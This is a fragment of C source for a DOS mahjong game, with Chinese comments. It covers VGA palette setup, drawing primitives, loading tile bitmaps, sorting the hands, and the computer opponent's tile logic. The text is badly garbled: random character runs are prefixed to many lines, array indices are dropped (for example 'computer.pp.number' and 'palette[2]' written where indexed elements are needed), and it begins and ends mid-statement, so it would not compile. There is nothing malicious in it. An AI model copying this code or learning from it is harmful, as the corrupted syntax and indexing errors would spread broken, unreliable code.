"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
  S" k9 E7 Z. S: X"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
9 l6 ~- J- u( n& r+ r"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
8 g/ Z2 J8 l+ t" e"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
8 d( H) e( B$ _2 {9 _' }4 k"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
6 |- Y) F. P6 }"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
, m/ w+ w" h4 ]"34.bmp"};
) ?9 q8 S( V2 v% kstruct every
{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
7 {& {4 e: R) aint number; /*第几张牌136*/
int p;
& F( t, t8 m+ y0 \  ?+ n: c8 `* R5 T  B5 }int g;
int c;
" m, E: `1 N' xint d[2];
: w! M+ z2 K% |" U  j};
: t  J* ^; M- p/ Z. r' l, `struct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
int p; /*乓对方*/
int c; /*吃对方*/
int g; /*杠*/

, P3 K8 T4 I3 y: Wstruct every pp[14]; /*存放手上的牌*/
& {9 u  p3 M* J+ I7 S& [}me;
: t( u% _0 i% Z9 d: v9 b6 f# astruct computer
{ int m;
int p;
int c;
int g;
; i  j" X  v3 U2 Z6 p# R; W+ lstruct every pp[14];
) ~4 W' U# \- y/ I% h& k# n}computer,comp;

/* 设置调色板 */
- Z) M/ o( B5 o, C# B7 gvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
, @/ j- p7 s+ T# R+ K' foutportb(0x3c8,Color); /*0x3c8写端口 写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
outportb(0x3c9,b);
}
! ]6 V# q% h2 N6 @, v1 F/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
6 n6 J3 a5 S' H6 O1 x/ \1 T6 `+ O/* 设置显示模式的函数 */
" L( i  Y- {( N" Kvoid Set_Video_Mode(int mode)
: }7 w/ r/ Q# [. K3 S% V' h6 q{
! K  {: H5 ^( k) b# u7 ~% o) Gunion REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
: }: `- K9 I* ~4 I8 C* ^( k2 X/ finregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
& \5 v4 O2 q( ~: s& r}
( X* \6 Y4 }* k. V$ a4 I5 y7 avoid v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
if(y0&gt;y1)
{
temp=y1;
0 C' z$ H; R; X8 _7 S& ]1 iy1=y0;
# r8 X' Q4 o0 {; l9 k3 ry0=temp;
}
address=320*y0+x;
for(n=0;n&lt;=y1-y0;n++)
{
video_buffer[address]=color;
address+=320;
0 q9 l7 I* s& I: T1 d: C9 Y}
}
void h_line(int x0,int x1,int y,unsigned int color)
4 r  U( }" J. K/ h! ^  @9 @( w{ unsigned int address,n,temp;
if(x0&gt;x1)
{
temp=x1;
1 T4 ^/ U4 Z4 z. `: h- U$ Ex1=x0;
3 Y. y3 G) E7 m, nx0=temp;
}
address=320*y+x0;
+ M' F" }) h- Z6 R8 [for(n=0;n&lt;=x1-x0;n++)
{
video_buffer[address]=color;
5 V& a. m' M. [( b! i8 M9 Q  qaddress+=1;
}
' P/ r" a* `7 R. k. g8 l}
void p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
}
void s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
. r6 A) _/ H+ h8 c1 S) m! R( m# z" Xh_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
3 h* j2 M! G. |v_line(y,y+side,x+side,color);
}
2 @" A' B3 W; {void r_rectangle(int x1,int y1,int x2,int y2,int color)
/ o. z: f: F, g{
h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
1 t/ c7 x6 n, S/ O0 ~% C$ a% r& dv_line(y1,y2,x1,color);
v_line(y1,y2,x2,color);
}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
{
* x* X( S0 l; k  i2 U. l: P% b& V- Vint i;
for(i=y1;i&lt;=y2;i++)
{
9 J% A' c; v" Xh_line(x1,x2,i,color);
}
( {( N" r, g! f$ g% F; ^}
. u6 }6 N* F! G+ X; p8 `5 Y' pvoid showbmp(int l)
{ FILE *bmp;
* a  Q: f0 a. `) A7 Eint i,x,y;
5 J8 m) m1 b" h! i" FBYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
6 A- `; N: S2 @+ G* Jfseek(bmp,54,SEEK_SET);
! m! i0 U! w! T6 s, l; Afor(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
: Z8 B4 \1 B0 v$ }$ Cpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
6 k( k8 N' |& x5 k( {}
for (y=0;y&lt;30;y++)
6 W! m2 B; [0 {  q# {for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
fclose(bmp);
}
( E- m  O: [; h4 _% Pvoid showbmpd(int l)
7 K3 h  H% P$ R{ FILE *bmp;
int i,x,y;
& v0 h% N, G; L0 @. A" m8 \BYTE palette[256][3];
( c) y* z' n# T( _8 gbmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
/ a+ b  ]4 q* {0 }  n$ u' l1 x( r{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
& c& K0 Q4 I1 I, ?; Y4 o2 E) n& jfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
- L5 t9 o8 A5 O' O  o1 x  Z0 ifor (y=0;y&lt;30;y++)
0 d2 I6 c$ z7 p' Bfor(x=0;x&lt;20;x++)
( W3 e' I. h: n* a) c4 Opokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
9 y0 j- c* s6 t, O; i3 u/ ~8 Svoid showybmp(int ll)
5 m& b3 `% L" B$ t5 z{ FILE *bmp;
1 G# {( R/ M( G* o' P5 z# Uint i,x,y;
) \( D/ l5 g. Y" B; A6 \% XBYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
. o& l; }0 V+ t( p$ I5 Dfseek(bmp,54,SEEK_SET);
. m( {; N3 s% m$ `! t  [for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
) I! O& f4 `. Z# lpalette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
0 I. k, o  E6 k& V9 i# X5 ?6 [fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
: d4 p1 z* ~2 X1 D& T}
for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
fclose(bmp);
}
8 w. L% z- E# F1 C/ qvoid showcbmp(int ll)
5 f  ^$ J- W* G{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
" g, r& E& A7 ^/ u{
palette[2]=fgetc(bmp)&gt;&gt;2;
; C! C. @+ O# S8 `6 y* E. ^& ~- M" [palette[1]=fgetc(bmp)&gt;&gt;2;
) o/ |8 G& c. a2 L- Jpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
  p" @! z& Q6 G5 _6 U5 Y( @}
/ O5 H' u, I, i* O9 t; k9 n! D0 f, ]for (y=0;y&lt;30;y++)
- \9 j7 p8 x8 m' O: t7 hfor(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
9 n- o$ ^6 J. c# avoid bmpp(int number)
{ FILE *bmp;
/ g4 @! L- [3 ]7 D+ ]  pint i,x,y;
1 e# ^- b# K  b% V0 Q; eBYTE palette[256][3];
/ O0 z9 T' J0 |% Kbmp=fopen(m[number].name,"rb");
9 B6 E! Y6 U' Y" `. xfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
" Q2 Y9 _/ g. h9 Qpalette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
* ]- ~1 m2 z& Q. ?! bfgetc(bmp);
3 A/ P4 h5 _, ]Set_Palette(i,palette[0],palette[1],palette[2]);
# s5 C  }# x1 t* J1 D" t}
3 o2 q+ F+ C- |- t5 t2 V% Sfor (y=0;y&lt;30;y++)
$ Z& ~4 q; c0 z! z: ufor(x=0;x&lt;20;x++)
$ R+ _& v# m  g# \. Epokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
; |8 g2 \/ B1 Q6 l, X}
void comlipai() /*整理电脑的牌*/
{ int n,j,u;
4 ~/ a& ~- D7 o! U" o5 _int *lingshi;
for(n=0;n&lt;computer.m;n++)
/ h6 ]9 J9 \$ I) Cfor(j=n;j&lt;computer.m;j++)
{
if(computer.pp[n].number&gt;computer.pp[j+1].number)
{
( ^1 C# @- _3 rlingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
: D) P" U2 k" s) e0 _/ q0 gcomputer.pp[j+1].k=lingshi;
4 J: @& h2 B- N6 e+ N" ]7 M. f' D( Wu=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
( W+ Z, }. _; v1 o* G% Mcomputer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
}
" c' m. W2 g2 P/ T1 E1 Relse
, A) [: J! o0 o9 f! Iif(computer.pp[n].number==computer.pp[j+1].number)
! f: k- s9 B% y1 N4 c' rif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
lingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
computer.pp[j+1].k=lingshi;
7 L" W, I, f( D8 i" l, j% w; ku=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
computer.pp[j+1].oneorfour=u;
" T8 r) U! G2 p/ t# pu=computer.pp[n].number;
computer.pp[n].number=computer.pp[j+1].number;
computer.pp[j+1].number=u;
}
/ M4 b! ~: Y/ ]}
- p- R5 d2 m8 b9 u}
void melipai()
6 f" ]7 S1 b  d% F- M& f{ int n,j,u;
int *lingshi;
for(n=0;n&lt;me.m;n++)
for(j=n;j&lt;me.m;j++)
{
if(me.pp[n].number&gt;me.pp[j+1].number)
{
2 L2 K7 t$ N0 \% I% D2 a% Tlingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
! E5 j. |/ D3 }" E; ~u=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 p$ D$ ~2 S$ J8 `# {( g8 a  U2 qme.pp[j+1].oneorfour=u;
u=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
9 ^# ^5 r; m0 ?( f: |( K# ume.pp[j+1].number=u;
}
else
$ E3 q( d" D7 q4 L1 p+ F7 g+ N6 V8 ^0 kif(me.pp[n].number==me.pp[j+1].number)
# }) ?% I% y0 `& Dif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
{
& T$ G% \; f1 G0 k: A' slingshi=me.pp[n].k;
* J( k& a% W4 x6 X* P: o3 E& Wme.pp[n].k=me.pp[j+1].k;
$ `6 Y- D& F9 Mme.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
; L& y5 E; L' k; i0 Y0 I3 V% z7 Yme.pp[n].number=me.pp[j+1].number;
8 Y) S/ k5 S2 T4 cme.pp[j+1].number=u;
}
}
6 b: h  z( |  t) V6 Z}
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
{
  L$ }* {* C0 X( s" n8 @! [1 Zlogo=1;
8 y; W* _# M+ R7 L; ~if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
  T+ {. `/ Q$ Z; F# Tlogoo=1;
" N% m% Y6 n2 W) Gelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
logoo=2;
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
' P7 T4 {0 q: `4 T& B) mlogoo=3;
1 G  q/ b' ]5 p! Gelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
logoo=4;
2 ]3 W. u( t+ \5 {. Q: @; felse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
logoo=5;
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
9 _' S/ d" `# n6 a' Q- vlogoo=6;
4 j- R  k& J; `: Y4 \else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
logoo=7;
# Y/ H, ?/ l( \+ c3 l: Helse if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
# }; _2 _( U$ S. f. X7 D2 Nlogoo=8;
3 }& Y% V6 L; J) ^" @/ B% _  Welse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
logoo=9;
) h) _: |' G) i' K9 C}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
{
logo=2;
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
logoo=1;
1 p: Y% x( ?+ [$ r) s1 |& celse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
" F/ e3 r$ d: E, N* U0 }logoo=2;
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
% v; j! J8 J3 q# j8 }5 Z- k& rlogoo=4;
( U8 R+ w! f# w5 ]- G9 ~  M4 |! xelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
& Q, K( }  r, Y  U. ]4 Ologoo=5;
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
logoo=6;
( D$ H# X6 P3 p3 Gelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
: a5 w" n& w1 X9 glogoo=7;
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
2 S* {' G5 F: ~) c. r5 i" ulogoo=8;
( O9 J+ f. l1 Belse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
logoo=9;
+ }  f( X) z  b$ g7 M}
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
{
% k' }9 }7 g, g- V% w! qlogo=3;
+ s: E( ~" Y% m3 ?1 Mif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
3 B+ S# Y( `# R8 A( Clogoo=1;
- _" m8 S9 ~1 r( E9 O% Eelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
logoo=2;
& R, ]; F$ a& X% n4 relse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
logoo=3;
6 i, u* Z+ R& s* _4 f1 L3 Yelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
8 M9 r/ q. j$ M/ U9 Z: ulogoo=4;
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
) b3 a/ z& s% N7 z) D+ ^logoo=5;
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
0 W, j* ~7 m: ~& ologoo=6;
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
& ?4 `# G$ e9 @logoo=7;
4 c8 E7 a6 s6 qelse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
( h7 r9 i, F% D; S/ o! H/ {# Llogoo=8;
0 B) k* C. c8 celse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
logoo=9;
}
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
' K; V, P; E( b+ B1 x" I2 o{
1 u2 W# ], \! g; Glogo=4;
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
1 e+ v% L8 o" flogoo=1;
5 h1 f! {8 e" }3 Aelse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
( B& \$ U( ~% ?+ c/ Jlogoo=2;
' r. F* D3 `0 }) B5 Gelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
logoo=3;
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
+ [! Q9 _  [9 x, h6 V, Z1 t* R0 Blogoo=4;
' b& Z8 m. L0 e0 d* g- T9 k2 V) z2 pelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
. B2 Q* g1 w2 u3 V: D% Ylogoo=5;
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
2 k$ U+ F$ Q8 |logoo=6;
& N$ M. q$ b% V+ ]  t# K. O! jelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
( J  Q/ [9 h$ L0 d8 P% b5 n0 Mlogoo=7;
2 w/ c: t3 d! R$ A: |3 K% u}
while(b&lt;=computer.m)
- A. W3 g2 F( [{
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
{
lg=1;
' w0 J; H* M. g" P! A* U$ Ocomputer.pp.d[0]=1;
( q# ]6 J0 m- s. dif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
{
# Q+ L9 o+ m7 a% I$ \lgg=1;
computer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
/ H8 b. u$ g- z5 j2 [# Q{
. ?( J3 _6 j. U: ]+ }' u. U9 nlgg=2;
computer.pp.d[1]=2;
& ^% w4 j- `, o}
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
{
lgg=3;
: V! a. `+ K! g& w" e, n/ [" Wcomputer.pp.d[1]=3;
}
0 I1 W# o  {: L, P$ o0 S) Belse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
{
3 z, _1 Q' h2 n4 Z( H& {7 o" clgg=4;
. |7 E; i7 [5 Mcomputer.pp.d[1]=4;
}
8 e8 M# |7 v& S# w% D/ o( eelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
{
lgg=5;
computer.pp.d[1]=5;
}
2 M. U0 P. @$ Q% ~% Y) f8 telse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
{
lgg=6;
! v& T& Z, W2 W* q  `computer.pp.d[1]=6;
! D3 }- T) M* t}
! x( b6 G, W% U1 p& oelse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
{
/ J2 L9 L; o, N2 `1 P3 T7 |; D* {- clgg=7;
7 d, W; Z6 ?- Y+ c/ p% t# c  Lcomputer.pp.d[1]=7;
! A7 P: |9 o( e9 ?' K: o}
" n/ [$ N7 g% @1 F: q# v( ^else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
, u: m3 @8 k; ~* }8 g* U, u{
( j# Q6 K8 t4 d$ ]2 ]( ylgg=8;
. [/ T3 \# ~8 C+ b  `! ~computer.pp.d[1]=8;
( ]1 ]8 f2 b3 G5 L' b6 R}
9 C4 X4 ]% q, o) _# f8 Belse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
{
  R3 k; J, u; ~* A, \2 klgg=9;
computer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
{
lg=2;
! C0 @9 J% G) fcomputer.pp.d[0]=2;
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
: s* X4 h4 H7 ^' S{
- S& G! q* `! z, P$ v3 {% Jlgg=1;
computer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
{
lgg=2;
4 Q6 y% {4 B2 {3 Q* I+ u* lcomputer.pp.d[1]=2;
* ~- r2 F7 Q$ C3 U- `}
' k  l8 U5 J4 p( selse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
& a) A+ ?2 p1 R9 b, b$ ^3 O{
' O7 O: j# P; B6 S" algg=3;
4 L" y; D9 S( Pcomputer.pp.d[1]=3;
+ l$ t" E% ~1 ]7 q( L4 [5 T0 Y}
, I2 u0 J) ^, Q1 c. W& {# belse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
{
6 j: @$ R: Q8 Mlgg=4;
computer.pp.d[1]=4;
3 u! \. E1 j+ G+ K}
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
3 P& [8 ?* B1 K! K  Z* F" {{
! Z0 j( M3 l' S+ g, ]lgg=5;
computer.pp.d[1]=5;
" `( H1 X7 b4 h' Y% p}
/ c* y6 ^* J5 g6 `' T* Ielse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
{
9 T* E% [1 _( Q: j, D6 Clgg=6;
3 \2 I4 b! f6 d2 Wcomputer.pp.d[1]=6;
% C* ^2 M* U8 x5 B2 `}
+ U# h  X3 n, C9 J/ Q1 h2 L) lelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
{
lgg=7;
  w  ?5 e% n7 @computer.pp.d[1]=7;
}
& V( ]7 U+ w1 v0 Telse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
{
lgg=8;
computer.pp.d[1]=8;
+ k! M+ d  {. H3 B( o, L. T: v9 E& t}
: {' d% t7 z2 Xelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
" X" m' X7 F; _5 e6 R{
6 C& l, N$ }, Ilgg=9;
computer.pp.d[1]=9;
# x+ w  ?4 ~5 E}
+ @' A( J7 U4 q0 z8 x}
) F8 u8 I. C2 lelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
{
" X8 Z: d" T; ?; l8 T3 hlg=3;
, ^6 P6 `( P9 U4 L, u& {: l* V5 {# T  c$ mcomputer.pp.d[0]=3;
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
{
+ @* {% L0 a% N$ A" s/ }lgg=1;
computer.pp.d[1]=1;
% Y& Z5 x8 j" T" Y, I3 k& E}
5 r$ R. _0 ?* kelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
% ^9 U6 t+ f/ p) c0 V{
lgg=2;
4 n+ ~# a- u$ E7 Ncomputer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
{
  `, j- X$ x) Flgg=3;
+ R1 j. g; }( v# j! Ucomputer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
0 t' Q" \9 h% V3 K9 J% J0 U{
4 z- V4 o0 C; ?4 {5 K) Dlgg=4;
) \1 A) Z+ C2 m; F  h% qcomputer.pp.d[1]=4;
8 y( M  N# S- j. Z3 ]}
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
! Y8 b, q4 A( r, t! @6 m1 o{
8 I: e, D" M# f7 w5 jlgg=5;
2 u3 ]1 A9 W7 `( N- Icomputer.pp.d[1]=5;
' @" }. h" ^7 K' \/ N& P4 g}
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
{
lgg=6;
computer.pp.d[1]=6;
}
$ J6 O6 B& d; T+ Ielse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
{
lgg=7;
computer.pp.d[1]=7;
6 d4 x1 O/ Y; V2 }}
* W% E) G, g7 T* r: N) K& Celse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
  K+ M& `5 }7 v, [1 t6 Z{
' Z% H  l; j# F8 T, N; n$ Y4 plgg=8;
/ t! e+ p2 O$ ]computer.pp.d[1]=8;
* L3 F1 M$ a1 {" [/ q2 u1 I8 _}
7 M& V0 v: {  {# ~else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
) O* L3 C& J7 \& E8 J{
* c& V9 h1 V# [. Xlgg=9;
9 O" x6 U  Y, ?: {& e7 O8 G8 Bcomputer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
{
* n! I. Q5 R! `1 ^lg=4;
computer.pp.d[0]=4;
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
( O- p+ Q' ], W2 a- L! v{
, E  L: n1 O/ e! y$ G1 B. `2 Ilgg=1;
6 {# b' e9 Z9 a' i2 N3 Ocomputer.pp.d[1]=1;
+ R5 K9 l# h: _2 Z& \. |# `}
% y  k! i+ ~3 E! t& R+ F  Lelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
9 ^& i" L9 b8 Z{
lgg=2;
* }3 r9 a8 k7 s* [# Scomputer.pp.d[1]=2;
}
6 i' s. A1 n' X* M! X: F5 {& Pelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
0 M- G& D' K( o1 m{
) A2 t3 b; P0 o% N' W/ ?lgg=3;
computer.pp.d[1]=3;
" E6 T* _: n- p6 Y}
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
{
2 _4 ?1 U* T: j8 i: Ilgg=4;
9 \' l# |+ Q) v  C8 d/ @4 t# Ncomputer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
1 S: ]# v; H- [& z$ [0 Slgg=5;
computer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
{
lgg=6;
computer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
{
2 r: |5 V9 `6 }: hlgg=7;
computer.pp.d[1]=7;
}
8 Q. i- a- y! l; ~9 z' U9 U}

7 k' g; m& m! Q/ ?8 r+ g, fif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
* j0 w0 ~7 X& a# k% ~7 L) Hpg++;
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
ch.lgg=lgg;
lg=0;
8 z2 t6 @) b  p9 X2 _+ olgg=0;
) H9 i3 z7 G3 s$ I0 U1 [b++;
}
if(pg==2) /*乓*/
{
& g  O6 z& u1 s7 _* k2 s
sing=1;
% a8 k% Q. O- m( n* {4 F4 ]b=computer.m;
  j1 z+ S  h# C- |" U5 q0 ^; Fwhile(b!=-1)
$ s9 B6 m) j1 Z9 d, V7 y. S{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.p=1;

9 Q( ]& F+ E: e6 o* Wb--;
* h6 `8 z; p9 z) S' n5 S}
}
8 N7 T* e' m2 o/ u9 ?3 Vif(pg==3) /*杠*/
{

9 R! Z/ x+ i+ x4 L0 V7 y  @! W! J" osing=2;
